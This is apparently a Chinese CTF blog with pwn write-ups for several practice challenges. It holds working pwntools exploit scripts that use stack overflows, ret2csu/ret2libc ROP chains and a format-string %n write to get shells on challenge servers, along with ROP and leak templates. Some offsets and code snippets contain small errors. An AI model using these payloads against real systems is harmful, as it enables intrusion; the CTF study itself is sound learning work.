pwn
mission cipher text wp
下载附件打开,找到mian函数大概是这个样子,依次了解一下每一段意思
/
__fastcall:一种调用约定,参数主要通过寄存器传递,而不是栈,速度略快。argc:命令行参数数量。argv:命令行参数数组。envp:环境变量数组(可选,有些程序用到环境变量)。n2是一个局部变量,用于存储用户选择的菜单项。- 注释里
[rsp+Ch] [rbp-4h]是反汇编中显示的栈偏移,不影响逻辑。 init():初始化程序(比如设置缓冲区、打开文件、初始化随机数)。banner():显示欢迎界面或程序标题。menu():打印用户选择菜单- 如果用户选择 1:调用
output_history(),可能打印历史记录。 - 如果用户选择 2:调用
submit_feedback(),可能提交反馈。 - 如果用户选择其他数字:直接退出程序。,可能打印历史记录。
打开output_history()是打印一段编码,不存在漏掉,接下来仔细查看2函数
、
buf是一个 32 字节的局部数组,用来存储用户的输入。[rsp+0h] [rbp-20h]是栈上的偏移信息- read(0, buf, 0x100uLL);
buf只能存32字节,但是read让你能够读256字节的数据,显然是一个栈溢出类型的漏洞
但是注意close(1)这个函数打开后翻译一下发现他会关掉stdout(标准输出) ,意思就是你拿到shell,但是你的命令并不会有回显,我们需要再次定向到fd2,这是这一题的关键
但是如果手动给cat falg的定向会有很大失败的可能,我搜索了发现
- stderr 也被关闭或被重定向:如果 target 进程在别处也关闭或重定向了 fd 2,那么
>&2无效。你可以先试echo hi >&2看能否收到hi。 - 你没有真正拿到可执行命令的 shell:有些 backdoor 只是跑小函数而不是
/bin/sh;那种情况发cat命令当然没反应。 - shell 的解析器差异:大多数 sh/bash 都支持
>&2,但极少数受限环境的原始 shell 语法可能不同。备用写法:cat flag > /dev/stderr(更通用但依赖 /dev/stderr 存在)。 - 时序问题:你要在 shell 可用后再发命令(不然命令会被当成输入到 submit_feedback 的 read)。用
time.sleep+recv/recvuntil更稳。
显然我们需要在攻击脚本里直接定向,我们拿到shell后可以直接cat flag
先checksec一下

发现是有NX保护的,
NX保护:当程序尝试在这些区域执行代码时,CPU会抛出异常,从而阻止攻击者利用栈溢出漏洞执行shellcode。例如,当程序溢出并覆盖栈上的返回地址时,NX保护会阻止攻击者跳转到恶意代码区域,从而保护系统的完整性。
但是这个题还有 SHSTK(影子栈)。把它想象成在柜台后面多放了一个保镖的签到本:每次函数调用时,会额外把“合法返回地址”记到影子栈上;函数返回时,系统会把实际返回地址和影子栈的签名比一比,如果不一致就立刻报警(杀进程)。
显然要构造ROP链,是一个 ret2csu题
#!/usr/bin/env python3
from pwn import *
import time
# defaults (hard-coded, no CLI override)
host = 'geek.ctfplus.cn'
port = 30088
offset = 40
ret_gadget = 0x40101a
backdoor = 0x4014ab
context.arch = 'amd64'
def build_payload(off, ret, bdoor):
return b'A'*off + p64(ret) + p64(bdoor)
def main():
print(f"[+] {host}:{port} -> sending payload, then interactive")
p = remote(host, port, timeout=8)
try:
p.recvuntil(b'choice > ', timeout=3)
except:
pass
p.sendline(b'2')
try:
p.recvuntil(b'Please enter your feedback:', timeout=3)
except:
pass
payload = build_payload(offset, ret_gadget, backdoor)
p.sendline(payload)
time.sleep(0.3)
print("[+] Payload sent. Dropping to interactive. If you get a shell, run:")
print(" exec 1>&2 && cat flag.txt # recommended")
print("or cat flag.txt >&2")
p.interactive()
if __name__ == '__main__':
main()
手搓不出来,只能当积累经验了,顺便了解一下ret2csu
原理
ret2csu 是指利用 ELF 文件的 _init 段中的 __libc_csu_init 函数,构造一个 ROP 链来调用任意函数。
利用x64下__libc_csu_init函数中的gadgets.(64位传参机制导致,但我们不会每次都精准找到每个寄存器对应的gadgets)
什么是gadgets?
gadgets是一段对寄存器进行操作的汇编指令,比如pop ebp;pop eax;每一条指令对应着一段地址将这些gadgets部署到栈中,__ sp指针指向某gadget时发现对应地址中是一条指令而不是一条数据后就会将该地址弹给 __ ip指针, __ip指针会执行该地址中存放的汇编指令,完成对寄存器的操作.(某一gadget-0x1a得到上一gadget
此函数对libc进行初始化,而一般的程序都会调用libc函数,则此函数一定存在.
在 x86_64 下,__libc_csu_init 的核心部分通常如下:
__libc_csu_init:
push rbx
push rbp
push r12
push r13
push r14
push r15
mov r12, edi ; r12 = argc
mov r13, rsi ; r13 = argv
...
loop_start:
mov rdx, r14
mov rsi, r13
mov edi, r12
call QWORD PTR [r15+rdx*8] ; 调用函数
...
关键点:
- 有一条
call [r15+rdx*8],也就是通过寄存器控制函数调用。 - rdi、rsi、rdx 可以被控制,用作 函数参数。
- r12、r13、r14、r15、rbx、rbp 都在栈上可控。
- 我们可以利用这些指令构造一个 ROP 链,调用任意函数。
核心思想:
- 找到 __libc_csu_init 的两个 ROP gadget:
- Gadget1(初始化寄存器)
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
可以通过栈控制 r12~r15 等寄存器的值。
- Gadget2(调用函数)
mov rdx,r14
mov rsi,r13
mov edi,r12d
call [r15+rdx*8]
将寄存器作为函数参数,调用指定函数。
- 使用 Gadget1 设置好 rdi、rsi、rdx、r15(函数地址)等寄存器。
- 跳到 Gadget2 执行调用。
- 如果需要多次调用函数,可以重复使用。
假设我们要调用一个函数:
void target(int a, int b, int c);
可以通过 ret2csu 构造 ROP 链如下:
[溢出填充] # 栈溢出到返回地址
Gadget1 地址 # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
值 rbx
值 rbp
r12 = a (edi)
r13 = b (rsi)
r14 = c (rdx)
r15 = target 函数地址 # call [r15+rdx*8]
Gadget2 地址 # mov rdx,r14; mov rsi,r13; mov edi,r12d; call [r15+rdx*8]
注意 r15+rdx*8 是偏移调用,通常我们将 rbx 设置为 0,这样 r15+0 = 函数地址。
找 gadget(工具与命令)
# 搜 pop rdi
ROPgadget --binary ./binary --only "pop rdi"
# 或更全面
ROPgadget --binary ./binary | egrep "pop rdi|pop rsi|pop rdx|ret|call rax|call r12|pop rbp|pop r12"
# ropper 也常用:
ropper --file ./binary --search "pop rdi"
常见你需要的 gadget:
pop rdi; retpop rsi; pop r15; ret或pop rsi; retpop rdx; ret(不总是有)ret(用于栈对齐)__libc_csu_init对应的两段 gadget(若 pop rdi 不存在)
泄露 libc 地址(常用模板)
如果没有 PIE(binary 基址固定),你可以在本地直接 leak libc:
目标:用 ROP 调用 puts(puts@got),然后返回到 main。
pwntools 模板(本地 test / 远端 leak 都相同思路):
from pwn import *
elf = ELF('./binary')
p = process('./binary') # or remote(host,port)
OFFSET = 40 # 根据你的分析计算
pop_rdi = 0x4012ab # example
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
payload = b'A'*OFFSET + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)
p.recvline() # maybe banner
leak = p.recvline().strip() # read leaked bytes
leaked_puts = u64(leak.ljust(8,b'\x00'))
log.info("puts leak: %#x" % leaked_puts)
计算 libc base:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # 本地或比赛给的 libc
libc_base = leaked_puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
构造最终 ROP(ret2libc 示例)
注意栈对齐(如果第一次 call 崩溃或行为异常,就插入 ret gadget 来修复对齐)。参考nss wp pwn1
简单示例:
# second stage
rop = b'A'*OFFSET
# 可选:rop += p64(ret_gadget) # 如果需要 16-byte 对齐
rop += p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(rop)
p.interactive()
对齐说明:在 x86_64 下,call 之前 %rsp 应该是 16 字节对齐。插入单个 ret 会把 %rsp 增加 8,从而翻转 %rsp%16。用 rop.raw(p64(ret_gadget)) 或 rop.ret()(pwntools 新版本)插入。
泄露地址(补充)
- 返回地址(return address) → 栈上,用来函数结束后跳转回调用点。
- 栈地址(stack address) → buf、局部变量所在的位置。
- 全局/静态数据段地址(.data/.bss) → 常量、全局变量所在位置。
- libc/动态库函数地址 → system、puts、read 等库函数的真实内存地址。
现代系统启用了 ASLR,意味着每次运行程序,这些地址都会随机化。如果你硬编码一个地址,它可能在下一次程序运行时失效。
泄露地址就是通过某种漏洞把这些随机地址打印或返回给我们,从而知道它们的实际值。
这就像你在黑盒房间里找出口,泄露地址就像有人给你在墙上画了地图,告诉你关键门的位置。
泄露的场景
- 绕过 ASLR / PIE
- x86_64 下,stack、heap、libc 地址随机化。你想跳转到
system("/bin/sh"),需要知道system在内存中的真实地址。 - 如果你不知道真实地址,ROP gadget 或
ret2libc就没法精确调用。 - ROP 链构造
- 构造 ROP 链时,需要精确写入地址。如果 stack 或 libc 基址未知,写入的地址可能无效。
- 泄露 stack 地址,做 stack pivot
- 有时候我们需要在栈上写更大 payload,知道栈地址可以做 pivot,把栈指针改到我们可控。
泄露方法
直接打印 / printf 泄露
例如程序有:
printf(buf);
- 如果
buf是用户可控,输入%p或%lx可以打印栈或 libc 地址:
Input: %p %p %p %p
Output: 0x7fff12345678 0x555555554000 0x7ffff7a33450 ...
- 第一个值可能是栈地址,第二个值可能是程序基址,第三个值可能是 libc 函数地址。
形象比喻:就像问程序“你桌子上放的第一本书是什么”,程序给你回答,你就知道书(地址)的位置。
泄露 GOT 表 / PLT 地址
程序里有 GOT (Global Offset Table),存放库函数真实地址。比如:
puts@GOT→ 存放 libc 的 puts 地址- 利用一个 ROP gadget 或直接 read/printf,可以把 GOT 的值打印出来:
puts_got = elf.got['puts']
p.sendline(p64(puts_got))
- 接收到值后,用它计算 libc 基址:
libc_base = leaked_puts - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
形象比喻:GOT 就像图书馆目录表,记录每本书在库房的实际位置。泄露 GOT 地址就知道每本书的确切位置。
栈地址泄露
有些程序会打印 stack 变量的地址:
printf("%p\n", &buf);
- 得到 stack 地址后,可以用它构造精确 payload(例如 ret2buf,或者 stack pivot 到 buf)。
形象比喻:你看到桌子上的便签纸写了“我的抽屉在第 42 格”,你就知道 buf 在栈上的位置。
利用泄露地址做 ROP
- 泄露一个函数地址:
- 比如
puts@GOT或read@GOT - 用 ROP 调用 puts,把 GOT 地址打印出来
计算 libc 基址:
libc_base = leaked_puts - libc.symbols['puts']
计算 system / "/bin/sh" 地址:
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
构造 ROP 链,调用 system("/bin/sh")
极客太难了,学习一下基础题
rip wp
打开ida

char s给了15个字节,但是gets函数不会检查长度,无论你输入多少都会打印出来,是一个最基础的栈溢出题目,我们需要在前面填充数据,到达栈顶程序就会返回,我们可以把返会的地址修改为后门函数bin/sh的地址,就能获得shell,这就是漏掉所在,我们点击s查看在栈上的位置
s的位置是0xf,返回地址是0x8,所以偏移地址是0xf加8,所以就是15+8=23个字节,打开fun函数会发现后门函数就在里面,所以我们要修改的地址就是这个函数的地址,开始学习编写脚本
form pwn impornt*//引入pwn库的所有功能,你的每一个脚本都会伴随他
p=remote("node4.buuoj.cn",27450)//p是一个变量方便后续发送建立连接
payload='A'*15+'B'*8+p64(0x401186+1).decode("iso-8859-1")//char s的15个字节+RBP的8字节+fun函数入口地址,+1为了堆栈平衡,p64()发送数据时,是发送的字节流,也就是比特流(二进制流)。
p.sendline(payload)//连接并发送payload
p.interactive()//进入交互环境
这就是最基础的命令,我们可以直接nano建立脚本并用python运行
原理了解一下
- 编程错误:使用不安全的函数(
strcpy,gets, 未检查fread/read的长度),对用户输入长度未进行限制。 - 缺少边界检查的自定义代码(手写循环、memcpy 长度错误等)。
确定偏移(find offset)
- 使用 cyclic pattern(或 pwntools 的 cyclic)发送大量数据,触发崩溃后用 gdb 查看 RIP 的值并用 cyclic_find 找到偏移。
- 示例(pwntools):
from pwn import *
p = process('./vuln')
p.sendline(cyclic(200))
p.wait()
core = p.corefile
rip_value = core.rip
print(cyclic_find(rip_value))
常见利用技术(与栈溢出配合)
- 返回到 shellcode(stack + ret to shellcode):栈可执行时直接跳转到注入的 shellcode。
- ret2libc:覆盖返回地址为 libc 中
system的地址、把参数指向/bin/sh在内存中的位置。 - ROP(Return Oriented Programming):拼接短小的指令序列(gadgets)来完成任意计算/调用。
- ret2csu:利用 ELF 的
__libc_csu_initgadget(上一篇笔记已经详细讲过)。 - SROP(Sigreturn-oriented Programming):构造 sigreturn frame 来设置寄存器/执行 syscall(高级技巧)。
- 格式化/信息泄露 + ROP:先泄露地址,再构造 ROP。
各种保护:
- NX(Non-executable stack)
- 保护:禁止在栈上执行代码。
- 绕过:使用 ROP / ret2libc / ret2csu 等不需要执行栈上代码的方法;或用
mprotect/mmapROP 改变权限后执行。 - ASLR(地址空间布局随机化)
- 保护:随机化堆/栈/库基址,使硬编码地址失效。
- 绕过:信息泄露(leak)拿到基址,或利用部分转移/相对地址(如 GOT 泄露、或 binary 没有 PIE,只随机 libc)。
- Canary / Stack Canary(栈金丝雀)
- 保护:在返回地址前放置随机值,溢出必须覆盖 canary,否则程序崩溃。
- 绕过:泄露 canary(info leak)或用其他漏洞绕过,比如覆盖函数指针而非返回地址。
- PIE(位置无关可执行)
- 保护:使二进制本身基址随机化(需要泄露或绕过)。
- 绕过:泄露 binary base。
- RELRO / GOT 硬化
- Partial/Full RELRO 防止覆盖 GOT 指针(Full RELRO 使 GOT 不可写)。
- 绕过:利用可写段或动态链接器劫持技巧(复杂)。
- Fortify / Stack protector / ASLR 的组合
- 多重防护通常需要多种绕过手段:leak + canary 泄露 + ROP 等
[第五空间2019 决赛]PWN5 wp

main一大堆,bin/sh就在函数里,直接开始分析main函数,前面一大堆应该是定义先不管,直接找到关键的代码问ai
v7 = &a1; // 冗余赋值,无实际意义
v6 = __readgsdword(0x14u); // 读取栈保护(GS)的cookie值(用于后续检测栈溢出)
setvbuf(stdout, 0, 2, 0); // 设置stdout为无缓冲模式(确保输出实时刷新)
// 生成随机密码buf_
seed = time(0); // 获取当前时间戳作为随机数种子
srand(seed); // 初始化随机数生成器(但后续未直接使用rand(),可能是冗余代码)
fd = open("/dev/urandom", 0); // 打开Linux系统的随机数设备(/dev/urandom生成高质量随机数)
read(fd, &buf_, 4u); // 从/dev/urandom读取4字节(32位)数据到buf_(这是真正的随机密码)
应该是一个输入用户名然后再输入密码的程序,但是代码的printf(buf)显然是一个格式化字符串漏洞
- 如果你在输入里写
%x%x%x(类似 “拿货架第 1、2、3 个东西”),printf会乖乖从栈上读取这三个位置的数据并打印出来 —— 这就是泄露内存(比如泄露密码、程序地址等)。 - 如果你写
%n(类似 “把刚才拿的东西数量记到货架第 5 层的盒子里”),printf会把已经输出的字符数写入到栈上对应地址的内存中 —— 这就是修改内存(比如修改密码验证的关键变量,直接通过验证)。
这个题就是在输入name里你可以输入其他东西,但是程序还是会依次打印出来,就能找到其中存在buf上的密码
- 输入
%x%x%x时,printf会从栈上读取第 1、2、3 个参数(以 16 进制打印); - 输入
%10$x时,会直接读取栈上第 10 个参数($是指定参数位置的格式符)。
知道这个后我们就可以手动去找buf在栈上的偏移量,通俗来讲就是
输入 aaaa%x%x%x%x%x%x(aaaa 是标记,ASCII 码为 0x41414141)。
printf 会打印 Hello,aaaa followed by 栈上的多个 16 进制数据。由于 buf(用户输入)本身的地址也在栈上,输入的 aaaa 会作为栈上的一段数据出现。假设在输出中,0x41414141 出现在第 5 个 %x 的位置,说明 buf 的起始地址是栈上的第 5 个参数。
而 buf_ 是程序在栈上定义的变量,位置在 buf 和 nptr 附近(栈上变量按定义顺序从高地址到低地址排列),因此继续增加 %x 的数量,就能找到 buf_ 对应的参数位置(比如第 10 个参数)。
检查一下文件
发现是32位的程序,直接手动寻找偏移

显然偏移是10,我们找到unk 读取的地址就可以开始写脚本了,
from pwn import *
r = remote("node5.buuoj.cn", 28725)
payload = p32(0x804C044) + b'%10$n'
//p32(0x804C044):把buf_的地址打包成32位二进制数据(小端序,符合32位程序内存布局)
//b'%10$n':格式化字符串指令,%10$n表示操作栈上第10个参数指向的地址
r.recvuntil('your name:')
r.sendline(payload)
//此时 buf_ 已经被修改为 4,程序会接着提示 “your passwd:”,我们只需要输入 4 即可通过验证。
r.recvuntil('your passwd:')
r.sendline(str(4)) //(字符串形式,因为程序用read读取后会用atoi转换为整数)
r.interactive()
依然用py运行脚本
格式化字符串漏洞原理:
C 语言的格式化函数(如 printf(const char *fmt, ...))依赖调用者提供的格式字符串来决定如何读取栈上的参数。如果格式字符串来自不信任的输入(例如 printf(user_input); 而不是 printf("%s", user_input);),攻击者可以在输入中放置格式说明符(如 %x, %s, %p, %n 等),这些说明符会导致 printf 读取栈上本不应读取的数据,甚至写回内存(%n)——从而造成信息泄露或任意写。
常见可用的格式说明符与用途
%x/%08x:按 16 进制打印栈上的 32/64 位值(用于泄露)。%p:打印指针(泄露地址)。%s:把栈上的一个地址当作指针去读字符串(间接读)。%n:把到目前为止已经输出的字符数写入对应参数指向的内存(强大写原语)。%hn,%hhn:向 2 字节 / 1 字节写入(用于精确写)。%<number>$x(位置修饰符):直接访问栈上第 N 个参数(方便定位,不用猜偏移)
两类主要攻击模式
- 信息泄露(read primitive)
利用%x/%p/%s/%<N>$x泄露栈、GOT、libc 等地址,从而击败 ASLR / PIE,得到可利用的地址信息。 - 任意写(write primitive)
利用%n(及%hn、%hhn)把已输出的字符数写入任意地址(需把目标地址放在栈上作为参数),从而修改函数指针、GOT 表项、返回地址等,达到代码执行。
大概流程
- 确认漏洞点:搜索代码中
printf(user),fprintf(fd, user),syslog(user)等不带格式字符串的调用。 - 找到偏移(栈参数位置):通过输入
%1$p %2$p ...或AAA.%1$x.BBB等,观察输出确定哪一项对应输入或可控数据。 - 泄露关键地址:用
%<N>$p泄露返回地址、栈地址、libc 地址或 GOT 表项(例如打印puts@GOT的地址内容)。 - 构造写入地址(把目标地址放上栈):把要写入的目标地址放入输入(通常作为前缀),并在格式串中使用对应的位置修饰符,例如
%10$hn。 - 精确写入:使用
%n/%hn/%hhn分段写入(按字节/两字节)并利用宽度修饰符如%<width>x来控制已输出字符数,使写入的值精确到目标值(常结合多个%hn写低字节到高字节)。 - 验证与触发:若写入成功,触发被修改的函数(比如再次调用 GOT 表项或返回)得到代码执行或 shell。
可以先通俗的理解一下这个题
随便翻翻在last_love找到bin/sh后门函数,记录下地址402098,找到leave函数地址

检查一下程序保护,总结
- read/write 溢出:
read(…, buffer, 0x32)写入长度比buffer的实际空间大(或临近可控目标),产生覆盖。 - GOT/函数指针覆写:覆盖全局 GOT 表中的函数指针(例如
puts@GOT)能改变函数调用去向。 - 跳到后门函数:将 GOT/返回地址改为
leave(),通过触发该函数调用来执行后门。 - IBT / ENDBR64(间接分支追踪):x86_64 新的控制流保护可能在函数入口放
ENDBR64,如果直接跳入地址的第一条不是ENDBR64,可能会出现问题。有时需要将跳转地址偏移(leave + 1、leave + 4等)以避开对齐问题 —— 具体要根据目标的二进制产生情况来试。 - 识别环境保护:本题
NX开启、PIE关闭、RELRO部分、Canary无(这些决定了能否直接覆盖 GOT/返回地址,或是否需要泄露基址等)。
编写脚本,注意栈对齐问题
#!/usr/bin/env python3
from pwn import *
# 远程地址和端口
HOST = 'geek.ctfplus.cn'
PORT = 30115
# 跳过 ENDBR64 的目标函数地址
LEAVE_ADDR = 0x4012b8
# 栈溢出偏移
OFFSET = 40
def exploit():
# 建立远程连接
p = remote(HOST, PORT)
# 选择菜单选项 3 -> love_me()
p.recvuntil(b'cin >> :')
p.sendline(b'3')
# love_me() 会打印提示等待输入
p.recvuntil(b'love')
# 构造 payload: padding + leave 地址
payload = b'A' * OFFSET + p64(LEAVE_ADDR)
p.send(payload)
# 触发漏洞函数,选择 1 或 2 均可
p.recvuntil(b'cin >> :')
p.sendline(b'1') # 1 = miss_me(),会触发 puts(buffer)
# 等待输出
p.interactive() # 切换到交互,自己执行命令
if __name__ == '__main__':
exploit()
old rop
太阴了这个题,不是栈对不齐就是libc路径不对,先看主函数找漏洞

题目说明了是ret2csu类的题,看一下read危险函数
ssize_t read_()
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200uLL);
}
缓冲区只有128字节,读取512字节,明显是个栈溢出的漏洞,checksec一下

- Partial RELRO: GOT表可写,但不需要修改
- No canary: 可以直接栈溢出,无需绕过canary
- NX enabled: 栈不可执行,必须使用ROP技术
- No PIE: 代码段地址固定,gadget地址不变
- Stripped: 符号表被剥离,需要手动分析
查找gadget(gadget是一小段以ret(返回)指令结尾的机器指令序列,并给出了详细的gadget解释)
ROPgadget --binary "/home/kali/桌面/rop" | grep "pop rdi"
应该会输出:0x00000000004012d3 : pop rdi ; ret
解释gadget:在栈溢出攻击中,我们控制了返回地址,但只能执行一次跳转。为了执行复杂的操作,我们需要链式调用多个gadget。
列出一些常见gadget:
- 寄存器控制类:
pop rdi ; ret- 控制第一个参数pop rsi ; ret- 控制第二个参数pop rdx ; ret- 控制第三个参数
- 内存操作类:
mov [rdi], rsi ; ret- 内存写入mov rax, [rdi] ; ret- 内存读取
- 算术运算类:
add rax, rbx ; ret- 加法运算
查找方式:
# 使用ROPgadget工具
ROPgadget --binary ./pwnfile
# 查找特定的gadget
ROPgadget --binary ./pwnfile | grep "pop rdi"
我们寻找gadget是为了构造rop链,我也会形象解释什么是rop,
ROP(Return-Oriented Programming,面向返回的编程)是一种高级攻击技术:
- 在现有程序中寻找有用的gadget
- 通过栈溢出构造gadget调用链
- 组合这些gadget完成复杂操作
举例,正常函数调用:
调用函数A → 执行A → 返回 → 调用函数B → ...
ROP调用链:
覆盖返回地址为gadget1 → 执行gadget1 → 返回到gadget2 → 执行gadget2 → ...
但是这个题的关键与难点在于libc库,他里面包含了我们需要的函数,比如system("bin/sh"),但是由于ASLR(地址空间布局随机化)保护,每次运行程序时,libc的加载地址都不同,所以我们要通过泄露函数地址来计算libc地址
泄露的write地址 = libc基址 + write在libc中的偏移
libc基址 = 泄露的write地址 - write在libc中的偏移
system地址 = libc基址 + system在libc中的偏移
我们先检查libc文件
file "/home/kali/桌面/libc/libc.so.6"
查找write函数偏移
readelf -s "/home/kali/桌面/libc/libc.so.6" | grep " write@@"
输出:2948: 000000000011c560 157 FUNC WEAK DEFAULT 17 write@@GLIBC_2.2.5
write偏移:0x11c650
查找system函数偏移
readelf -s "/home/kali/桌面/libc/libc.so.6" | grep " system@@"
输出:1050: 0000000000058750 45 FUNC WEAK DEFAULT 17 system@@GLIBC_2.2.5
system偏移:0x58750
查找bin/sh函数偏移
strings -t x "/home/kali/桌面/libc/libc.so.6" | grep "/bin/sh"
输出:1cb42f /bin/sh
/bin/sh偏移:0x1cb42f
这个题一定要找对正确的libc路径!!!不然偏移会不一样
最后要求栈对齐!x64架构要求函数调用时RSP寄存器16字节对齐。如果不对齐,某些函数(特别是libc函数)会崩溃。
payload += p64(ret_gadget) # 额外的ret指令调整栈指针
给出详细的exp解释
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'
def exploit():
# 连接远程目标
p = remote('geek.ctfplus.cn', 30559)
# === 第一阶段:泄露libc地址 ===
print("=== Stage 1: Leaking libc address ===")
# 接收欢迎信息
p.recvuntil(b"welcome to ret2csu , but there is sometings different,please care about it !")
# Gadget地址(通过反汇编获取)
csu_pop = 0x4012ca # __libc_csu_init中的pop gadget
csu_call = 0x4012b0 # __libc_csu_init中的call gadget
ret_gadget = 0x4012d4 # 用于栈对齐的ret
pop_rdi = 0x4012d3 # pop rdi ; ret
main_addr = 0x40117b # main函数地址
write_got = 0x404018 # write在GOT表中的地址
offset = 0x88 # 缓冲区到返回地址的偏移
# 构建泄露payload
payload1 = b'A' * offset
payload1 += p64(csu_pop)
payload1 += p64(0) # rbx = 0
payload1 += p64(1) # rbp = 1 (避免循环)
payload1 += p64(1) # r12 -> edi = 1 (stdout)
payload1 += p64(write_got) # r13 -> rsi = write@got
payload1 += p64(8) # r14 -> rdx = 8 (泄露大小)
payload1 += p64(write_got) # r15 = write@got (函数指针)
payload1 += p64(csu_call)
payload1 += p64(0) # csu_call后的栈调整
payload1 += p64(0)*6 # 后续pop的填充
payload1 += p64(main_addr) # 返回main函数
print("Sending first payload for leak...")
p.send(payload1)
# 接收泄露的地址
p.recvuntil(b'\n')
leak_data = p.recv(6).ljust(8, b'\x00')
write_addr = u64(leak_data)
print(f"Leaked write address: {hex(write_addr)}")
# === 计算libc基址和关键函数地址 ===
# 使用题目提供的libc文件中的精确偏移
write_offset = 0x11c560 # readelf -s libc.so.6 | grep " write@@"
system_offset = 0x58750 # readelf -s libc.so.6 | grep " system@@"
binsh_offset = 0x1cb42f # strings -t x libc.so.6 | grep "/bin/sh"
libc_base = write_addr - write_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
print(f"Libc base: {hex(libc_base)}")
print(f"System address: {hex(system_addr)}")
print(f"/bin/sh address: {hex(binsh_addr)}")
# 验证计算是否正确
if (write_addr & 0xfff) == (write_offset & 0xfff):
print("✓ Offset calculation correct!")
else:
print("✗ Offset calculation wrong!")
return
# === 第二阶段:获取shell ===
print("=== Stage 2: Getting shell ===")
# 等待程序返回main函数
p.recvuntil(b"welcome to ret2csu , but there is sometings different,please care about it !")
# 构建获取shell的payload
payload2 = b'A' * offset
payload2 += p64(ret_gadget) # 栈对齐
payload2 += p64(pop_rdi) # pop rdi ; ret
payload2 += p64(binsh_addr) # rdi = "/bin/sh"地址
payload2 += p64(system_addr) # 调用system函数
print("Sending shell payload...")
p.send(payload2)
print("=== Attempting to get shell ===")
sleep(0.5)
# 获取交互式shell
p.interactive()
if __name__ == '__main__':
exploit()
顺便解释一下ret2csu,他同样是一种rop技术,利用几乎每个Linux程序中都存在的__libc_csu_init函数中的特殊代码片段来构造强大的攻击链。
为什么需要ret2csu?
在x64架构中,我们面临一个严峻问题:
普通ROP的局限性:
python
# 我们想调用:execve("/bin/sh", NULL, NULL)
# 需要控制:rdi, rsi, rdx 三个寄存器
# 但通常只能找到:
pop_rdi = 0x401233 # 控制第1参数
pop_rsi = 0x401235 # 控制第2参数(很少见!)
pop_rdx = ???????? # 控制第3参数(几乎找不到!)
ret2csu的解决方案:通过__libc_csu_init中的特殊gadget,我们可以一次性控制所有必要的寄存器!
__libc_csu_init是Glibc的初始化代码,负责:
- 调用程序的初始化函数
- 设置C++的全局构造函数
- 其他启动时任务
关键特性:几乎所有的ELF可执行文件都包含这个函数!
理解ret2csu的关键是掌握寄存器映射:
| 寄存器 | 在pop gadget中 | 在call gadget中 | 对应函数参数 |
| r12 | 第3个pop | → edi (低32位) | 第1参数 |
| r13 | 第4个pop | → rsi | 第2参数 |
| r14 | 第5个pop | → rdx | 第3参数 |
| r15 | 第6个pop | → 函数指针 | 要调用的函数 |
| rbx | 第1个pop | → 数组索引 | 通常设为0 |
| rbp | 第2个pop | → 循环控制 | 通常设为1 |
通过设置rbx=0和rbp=1,我们确保循环只执行一次:
asm
cmp rbp, rbx ; 比较 1 和 0
jne 0x4012b0 ; 1 ≠ 0,所以跳转(执行一次循环)
add rbx, 0x1 ; rbx = 1
cmp rbp, rbx ; 比较 1 和 1
jne 0x4012b0 ; 1 = 1,不跳转!退出循环
栈布局设计
高地址
+-------------------+ ← RSP开始位置
| 填充数据 (0x88字节) |
+-------------------+
| csu_pop地址 | ← 覆盖的返回地址
+-------------------+
| rbx值 (0) | ← pop rbx
+-------------------+
| rbp值 (1) | ← pop rbp
+-------------------+
| r12值 (参数1) | ← pop r12 → edi
+-------------------+
| r13值 (参数2) | ← pop r13 → rsi
+-------------------+
| r14值 (参数3) | ← pop r14 → rdx
+-------------------+
| r15值 (函数指针) | ← pop r15 → 调用的函数
+-------------------+
| csu_call地址 | ← 执行函数调用
+-------------------+
| 填充 (0) | ← add rsp, 8
+-------------------+
| rbx (0) | ← 后续pop填充
+-------------------+
| rbp (0) |
+-------------------+
| r12 (0) |
+-------------------+
| r13 (0) |
+-------------------+
| r14 (0) |
+-------------------+
| r15 (0) |
+-------------------+
| 返回地址 (main) | ← 攻击完成后返回
低地址
Comments NOTHING